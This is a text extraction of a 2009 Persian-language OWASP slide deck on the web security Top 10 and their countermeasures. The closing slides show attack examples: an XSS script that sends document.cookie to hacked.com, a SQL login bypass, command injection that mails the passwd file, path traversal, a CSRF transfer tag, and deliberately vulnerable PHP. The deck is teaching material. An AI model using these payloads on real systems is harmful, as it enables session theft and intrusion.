امنیت نرمافزارهای وب

Post on 19-Jan-2016

80 Views

Category:

Documents

0 Downloads

Preview:

Click to see full reader

DESCRIPTION

عباس نادری Abbas Naderi (aka AbiusX ) اعتباران انفورماتیک abiusx@etebaran.com abiusx@jframework.info abiusx@owasp.org. امنیت نرم‌افزارهای وب. 10/1/2009 ۱۳۸۸ / ۷ / 9. تقديم به پيشگاه مقدس امام عصر (عج). امنیت دنیای وب. سهل انگاری در اوج اهمیت. OWASP TOP 10. - PowerPoint PPT Presentation

TRANSCRIPT

Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation

OWASP

http://www.owasp.org

امنیت نرم افزارهای وب

عباس نادریAbbas Naderi (aka AbiusX)

اعتباران انفورماتیکabiusx@etebaran.comabiusx@jframework.infoabiusx@owasp.org

10/1/2009۱۳۸۸/۷/9

تقديم به پيشگاه مقدس )عج(امام عصر

امنیت دنیای وب

سهل انگاری در اوج اهمیت

OWASP TOP 10

Cross Site Scripting )XSS(Injection FlawsInsecure Remote File IncludeInsecure Direct Object ReferenceCross Site Request Forgery )CSRF(Information Leakage and Improper Error HandlingBroken Authentication and Session ManagementInsecure Cryptographic StorageInsecure Communications

Failure to Restrict URL Access

خطر ۱۰ اصلی

1.Cross Site Scripting (XSS)اسکریپت نویسی مابین سایتی

سایتها آسیب پذیرند٪۲۰بیش از •مقابله با آن به غایت مشکل است •هWWرروزه روشWWهای جدیWWد فWWراوانی کشWWف می •

شوندجایگزین هWای معمWول بWرای کWاربران سWختی هایی •

دارندمی توانند به صورت کرم منتشر شوند •

1. Cross Site Scripting (XSS)

:روشهای مقابلهکتابخانه های بسیار پیچیده، سنگین و کند• مصون نیستند٪۱۰۰کتابخانه ها نیز •تحریم امکان استفاده از قالب بندی•(BBCode)استفاده از سیستم های جایگزین •همگامی با دنیای امنیت اطالعات•

•2. Injection Flawsتزریقات

سایتها آسیب پذیر٪۱۵حدود •آسWWیب پذیری بسWWیار محلWWک و اعمWWال آن سWWاده •

استدر دو دسته آگاهانه و کور انجام می گیرد •معمول ترین دلیل هک شدن و رسوخ به سایت ها •عالرقم معWWWWWروفی بسWWWWWیار، توسWWWWWعه دهندگان •

بی خبرندمقابله با آن معموال ناقص انجام می گیرد •در صWورت شWناخت کWافی، مقابلWه بسWیار آسWان •

است

2. Injection Flaws

:روشهای مقابلهاستفاده از واسط های امن برای دستورات پویا•برای PreparedStatementsاستفاده از •

SQLبه عنوان تنها راه Escapingعدم استفاده از •بررسی ورودی•بررسی لیست سفیدی ورود ی ها•

3. Insecure Remote File Include

تزریق کد مخرب

احتیاج به آگاهی از روش کار •معموال توسط توسعه دهندگان رعایت نمی شود •توسط تنظیمات بستری قابل رفع •بسWیار بسWیار مخWرب و خطرنWاک در صWورت وجWود •

و کشفامکWان انجWام انWواع حمالت بWدون متوجWه شWدن •

سیستم

3. Insecure Remote File Include

:روشهای مقابلهعدم استفاده از کدفایل متغیر•بررسی کامل و بسیار دقیق متغیر در آدرس کد•تبیین دقیق قوانین استفاده•تنظیمات سکوی اجرا•

4. Insecure Direct Object Reference

ارائه اطالعات ناخواسته

عدم آگاهی توسعه دهندگان•پیچیدگی یافت و جلوگیری •پیش آمدن قطعی در سیستم های پیچیده •بسWWیار زمWWانگیر و دشWWوار جهت کشWWف بWWرای •

نفوذگران

4. Insecure Direct Object Reference

:روشهای مقابلهتعیین دقیق معماری سیستم و پیروی از آن•مشخص کردن الیه تعیین دسترسی به همه •

چیزپیاده سازی صحیح روشها و پیروی از معماری•

5.Cross Site Request Forgery )CSRF(

جعل درخواست بین سایتی

عدم علم توسعه دهندگان •عدم درک صحیح توسعه دهندگان •بسیار ساده و قابل انجام •می تواند به غایت حساس و خطرناک باشد یا نه •کاربری معمول به سادگی برطرف می شود •موارد پیچیده احتیاج به پردازش خروجی دارند •

5.Cross Site Request Forgery )CSRF(

:روشهای مقابلهبرای فرآیندها GETعدم استفاده از •جفتگیری تصادفی در کالینت و سرور •

نااتوماتیکفرم ورود به سیستم مجدد در فرآیند حساس•XSSجلوگیری از •

6. Information Leakage and Improper Error Handling

نشت اطالعات و نقص مدیریت خطا

قدم اول انواع نفوذ •تقریبا تمام سیستم ها آسیب پذیرند •اهمیت آن معموال درنظر گرفته نمی شود • Stack TraceآگWاهی نسWبتا کامWل از سیسWتم بWا •

SQLیا روش های مقابله اتوماتیک ناکارآمد •روش های مقابله دستی بسیار کند و هزینه بر •

6. Information Leakage and Improper Error Handling

:روشهای مقابلهعدم ارائه خطا و ارور در سیستم عملیاتی•تهیه گزارش کامل از همه عملکردهای سیستم•تماس با مدیر و امنیت از طریق ای میل یا •

SMSبررسی دقیق و تست کامل محصول قبل از •

ارائهاستفاده از سیستم های اتوماتیک و تنظیم سکو•

7. Broken Authentication and Session Management

احراز هویت و مدیریت نشست ناکارا

بسیار بد و آسیب زننده •احتیاج به بازنگری دائم و فراوان •نقص در روش های احراز هویت غیراستاندارد •پیاده سWWازی دشWWوار و حسWWاس در سیسWWتم های •

بزرگ

7. Broken Authentication and Session Management

:روشهای مقابلهاستفاده از یک محور احرازهویت•ایجاد نشست های مستقل پس از احراز هویت•خروج از سیستم کارا و تخلیه اطالعات•عدم ارائه اطالعات نشستی و حساس•استفاده از سیستم های بالغ•تست و بررسی کد به صورت کامل•

8. Insecure Cryptographic Storage

استفاده نادرست از رمزنگاری

بسیار معمول و خطرناک •اکWثر توسWعه دهندگان و تیم آنهWا دانش رمزنگWاری •

ندارندتکیه کامل بر رمزنگاری ناصحیح •نفوذگران معدودی دانش رمزنگاری کافی دارند ••

8. Insecure Cryptographic Storage

:روشهای مقابلهبررسی کد )تست پاسخگو نیست)•عدم استفاده از الگوریتم های دستی•آموزش استفاده صحیح از الگوریتم های •

قدرتمندعدم استفاده از الگوریتم های منسوخ )مانند •

MD5)Hard Codingعدم استفاده از •

9. Insecure Communications

ارتباطات ناامن

هزینه بWر و احتیWاج بWه صWرف اعتبWار جهت کسWب •اعتبار

بWWWار بیشWWWتر بWWWر روی سWWWرورها و کالینت هWWWا •()نامطلوب

عدم درک صحیح از عمق مسئله •راه اندازی دشوار بر سرور •آموزش دشوار در کالینت •

9. Insecure Communications

:روشهای مقابلهدر تمام ارتباطات هویت دار SSLاستفاده از •در تمام فرآیندهای حساس SSLاستفاده از •SSLاستفاده از گواهینامه معتبر • TLS یا ۳نسخه ، SSLاستفاده از نسخه معتبر•منطق عدم ارائه اطالعات حساس در ارتباط •

ناامن توسط برنامه کنترل شود

10. Failure to Restrict URL Access

ناتوانی در محدود کردن دسترسی

Security by Obscurityمتدولوژی غلط •عدم استفاده از کنترل دسترسی محوری •(کنترل دسترسی ناصحیح )مثال بر روی کالینت •دشWWواری پیاده سWWازی و اسWWتفاده از روش هWWای •

استاندارد

10. Failure to Restrict URL Access

:روشهای مقابله(RBAC )استفاده از روشهای استاندارد و کارا •اعمال اتوماتیک مکانیزم کنترل دسترسی•بررسی کد کامل و معماری کارآمد•عدم استفاده از آدرس های مخفی•

چند راه برد عملی

!پیاده روی در اعماق باتالق

Cross Site Scripting )XSS(

echo $_REQUEST['userinput'];Reflected, Stored and DOM types

docoment.write)'<form name='f1' action=''hacked.com''>

<input name=''sessionID'' value='' '+document.cookie+' '' /></form>'(;

document.forms.f1.submit)(;

SQL Injection

$sql = "SELECT * FROM table WHERE id = ' " . $_GET['id'] . " ' ";

Text fields, Number Fields!!!Server Code:

$R=mysql_query)''SELECT * FROM users WHERE Username='{$Username}' AND Password='{$Pass}' ''(;

if )$R( echo '' You logged in successfully! '';

Attack: username: foo password: 1' or '1'='1

Manipulated SQL: SELECT * FROM users WHERE Username='1' AND Password='1' or '1'='1'

Command Injection

Server Code:

Exec )''mail ''.$UserData(;

UserData:'' hi; cat passwd; ''

لیست کلمات عبور به همراه متن نامه، به .نفوذگر ای میل می شوند

Malicious File Execute

Include direname)__FILE__(.''/request_handlers/''.$R;

به صورت پویا درخواست کاربر را پاسخ ...می گوییم

User Request:../../passwd

باعث می شود فایل رمزهای عبور به جای فایل .کد نمایش داده شود

Insecure Direct Object Reference

<select name="language"><option value="ir">Farsi</option></select>

... Include

)$_GET['language']."lang.php"(;...<select name="language"><option

value="29871268398721">Farsi</option></select>

Use Salts to prevent Brute-Force!

Cross Site Request Forgery )CSRF(

<img src="http://www.example.com/transfer.do?frmAcct=document.form.frmAcct &toAcct=4345754&toSWIFTid=434343&amt=3434.43">

Insecure Cryptographic Storage

$pass=md5)$_GET['pass'](; // unsafe!www.passcracking.com

(۲از الگوریتم های صحیح )( ۱استفاده صحیح)

$pass=hash) ''sha-512'' ,$_GET['pass'].strtolower)$_GET['user']((;

سواالت، پیشنهادات؟

www.owasp.org ع : مناب

top related